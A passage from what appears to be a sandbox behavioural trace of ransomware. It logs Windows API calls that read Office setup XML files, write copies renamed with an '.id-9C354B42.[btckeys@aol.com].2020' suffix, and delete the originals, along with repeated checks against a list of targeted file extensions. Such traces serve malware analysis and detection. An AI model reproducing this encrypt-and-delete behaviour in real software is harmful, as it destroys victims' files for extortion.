0x1e0 [0074.843] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.843] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.843] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0074.844] GetLastError () returned 0x0 [0074.844] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x750, lpOverlapped=0x0) returned 1 [0074.846] WriteFile (in: hFile=0x1fc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x760, lpOverlapped=0x0) returned 1 [0074.847] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0074.847] WriteFile (in: hFile=0x1fc, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0074.847] SetEndOfFile (hFile=0x1fc) returned 1 [0074.847] CloseHandle (hObject=0x1fc) returned 1 [0074.854] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.854] SetEndOfFile (hFile=0x1e0) returned 1 [0074.855] CloseHandle (hObject=0x1e0) returned 1 [0074.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0074.856] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\setup.xml")) returned 1 [0074.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.856] lstrlenW (lpString=".doc") returned 4 [0074.856] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.856] lstrlenW (lpString=".docx") returned 5 [0074.856] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.856] lstrlenW (lpString=".pdf") returned 4 [0074.856] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.856] lstrlenW (lpString=".xls") returned 4 [0074.856] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.856] lstrlenW (lpString=".xlsx") returned 5 [0074.856] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.856] lstrlenW (lpString=".ppt") returned 4 [0074.856] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.856] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.856] lstrlenW (lpString=".zip") returned 4 [0074.857] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.857] lstrlenW (lpString=".rar") returned 4 [0074.857] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.857] lstrlenW (lpString=".bz2") returned 4 [0074.857] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.857] lstrlenW (lpString=".7z") returned 3 [0074.857] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.857] lstrlenW (lpString=".dbf") returned 4 [0074.857] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.857] lstrlenW (lpString=".1cd") returned 4 [0074.857] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.857] lstrlenW (lpString=".jpg") returned 4 [0074.857] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.857] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.857] lstrlenW (lpString=".doc") returned 4 [0074.857] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0074.857] lstrlenW (lpString=".docx") returned 5 [0074.857] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0074.857] lstrlenW (lpString=".pdf") returned 4 [0074.857] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0074.858] lstrlenW (lpString=".xls") returned 4 [0074.858] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0074.858] lstrlenW (lpString=".xlsx") returned 5 [0074.858] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0074.858] lstrlenW (lpString=".ppt") returned 4 [0074.858] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0074.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.858] lstrlenW (lpString=".zip") returned 4 [0074.858] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0074.858] lstrlenW (lpString=".rar") returned 4 [0074.858] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0074.858] lstrlenW (lpString=".bz2") returned 4 [0074.858] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0074.858] lstrlenW (lpString=".7z") returned 3 [0074.858] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0074.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.858] lstrlenW (lpString=".dbf") returned 4 [0074.858] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0074.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.858] lstrlenW (lpString=".1cd") returned 4 [0074.858] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0074.858] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\SETUP.XML") returned 103 [0074.858] lstrlenW (lpString=".jpg") returned 4 [0074.858] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0074.859] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0074.859] lstrlenW (lpString="Proof.XML") returned 9 [0074.859] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0074.859] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1347) returned 1 [0074.859] CloseHandle (hObject=0x1e0) returned 1 [0074.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 0x20 [0074.860] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0074.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0074.860] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.860] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0074.860] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.261] GetLastError () returned 0x0 [0075.261] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x543, lpOverlapped=0x0) returned 1 [0075.264] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x550, lpOverlapped=0x0) returned 1 [0075.265] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0075.265] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xe6, lpOverlapped=0x0) returned 1 [0075.265] SetEndOfFile (hFile=0x1d8) returned 1 [0075.265] CloseHandle (hObject=0x1d8) returned 1 [0075.265] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.265] SetEndOfFile (hFile=0x1e0) returned 1 [0075.266] CloseHandle (hObject=0x1e0) returned 1 [0075.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.267] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\proof.xml")) returned 1 [0075.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.267] lstrlenW (lpString=".doc") returned 4 [0075.267] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.267] lstrlenW (lpString=".docx") returned 5 [0075.267] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0075.267] lstrlenW (lpString=".pdf") returned 4 [0075.267] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.267] lstrlenW (lpString=".xls") returned 4 [0075.267] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.267] lstrlenW (lpString=".xlsx") returned 5 [0075.267] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0075.267] lstrlenW (lpString=".ppt") returned 4 [0075.267] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.267] lstrlenW (lpString=".zip") returned 4 [0075.267] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.267] lstrlenW (lpString=".rar") returned 4 [0075.267] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.267] lstrlenW (lpString=".bz2") returned 4 [0075.267] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.267] lstrlenW (lpString=".7z") returned 3 [0075.267] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.268] lstrlenW (lpString=".dbf") returned 4 [0075.268] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.268] lstrlenW (lpString=".1cd") returned 4 [0075.268] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.268] lstrlenW (lpString=".jpg") returned 4 [0075.268] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.268] lstrlenW (lpString=".doc") returned 4 [0075.268] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString=".docx") returned 5 [0075.268] lstrcmpiW (lpString1=".docx", lpString2="f.XML") returned -1 [0075.268] lstrlenW (lpString=".pdf") returned 4 [0075.268] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString=".xls") returned 4 [0075.268] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString=".xlsx") returned 5 [0075.268] lstrcmpiW (lpString1=".xlsx", lpString2="f.XML") returned -1 [0075.268] lstrlenW (lpString=".ppt") returned 4 [0075.268] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.268] lstrlenW (lpString=".zip") returned 4 [0075.268] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.268] lstrlenW (lpString=".rar") returned 4 [0075.268] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString=".bz2") returned 4 [0075.268] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.268] lstrlenW (lpString=".7z") returned 3 [0075.268] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.268] lstrlenW (lpString=".dbf") returned 4 [0075.269] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.269] lstrlenW (lpString=".1cd") returned 4 [0075.269] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\Proof.XML") returned 98 [0075.269] lstrlenW (lpString=".jpg") returned 4 [0075.269] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.269] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.269] lstrlenW (lpString="PublisherMUI.XML") returned 16 [0075.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.269] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1450) returned 1 [0075.269] CloseHandle (hObject=0x1e0) returned 1 [0075.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 0x20 [0075.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0075.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.270] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.270] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.270] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0075.272] GetLastError () returned 0x0 [0075.272] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x5aa, lpOverlapped=0x0) returned 1 [0075.275] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0075.276] ReadFile (in: hFile=0x1e0, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0075.276] WriteFile (in: hFile=0x1d8, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xf4, lpOverlapped=0x0) returned 1 [0075.276] SetEndOfFile (hFile=0x1d8) returned 1 [0075.276] CloseHandle (hObject=0x1d8) returned 1 [0075.276] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0075.277] SetEndOfFile (hFile=0x1e0) returned 1 [0075.277] CloseHandle (hObject=0x1e0) returned 1 [0075.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0075.278] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\publishermui.xml")) returned 1 [0075.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.278] lstrlenW (lpString=".doc") returned 4 [0075.278] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.278] lstrlenW (lpString=".docx") returned 5 [0075.278] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0075.278] lstrlenW (lpString=".pdf") returned 4 [0075.278] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.278] lstrlenW (lpString=".xls") returned 4 [0075.278] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.278] lstrlenW (lpString=".xlsx") returned 5 [0075.278] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0075.278] lstrlenW (lpString=".ppt") returned 4 [0075.278] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.278] lstrlenW (lpString=".zip") returned 4 [0075.278] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.278] lstrlenW (lpString=".rar") returned 4 [0075.278] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.278] lstrlenW (lpString=".bz2") returned 4 [0075.278] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.278] lstrlenW (lpString=".7z") returned 3 [0075.278] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.278] lstrlenW (lpString=".dbf") returned 4 [0075.279] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.279] lstrlenW (lpString=".1cd") returned 4 [0075.279] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.279] lstrlenW (lpString=".jpg") returned 4 [0075.279] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.279] lstrlenW (lpString=".doc") returned 4 [0075.279] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString=".docx") returned 5 [0075.279] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0075.279] lstrlenW (lpString=".pdf") returned 4 [0075.279] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString=".xls") returned 4 [0075.279] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString=".xlsx") returned 5 [0075.279] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0075.279] lstrlenW (lpString=".ppt") returned 4 [0075.279] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.279] lstrlenW (lpString=".zip") returned 4 [0075.279] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0075.279] lstrlenW (lpString=".rar") returned 4 [0075.279] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString=".bz2") returned 4 [0075.279] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString=".7z") returned 3 [0075.279] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0075.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.279] lstrlenW (lpString=".dbf") returned 4 [0075.279] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0075.279] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.279] lstrlenW (lpString=".1cd") returned 4 [0075.280] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0075.280] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\PublisherMUI.XML") returned 112 [0075.280] lstrlenW (lpString=".jpg") returned 4 [0075.280] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0075.280] lstrcmpiW (lpString1=".XML", lpString2=".2020") returned 1 [0075.280] lstrlenW (lpString="SETUP.XML") returned 9 [0075.280] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\publisher.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0075.281] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1608) returned 1 [0075.281] 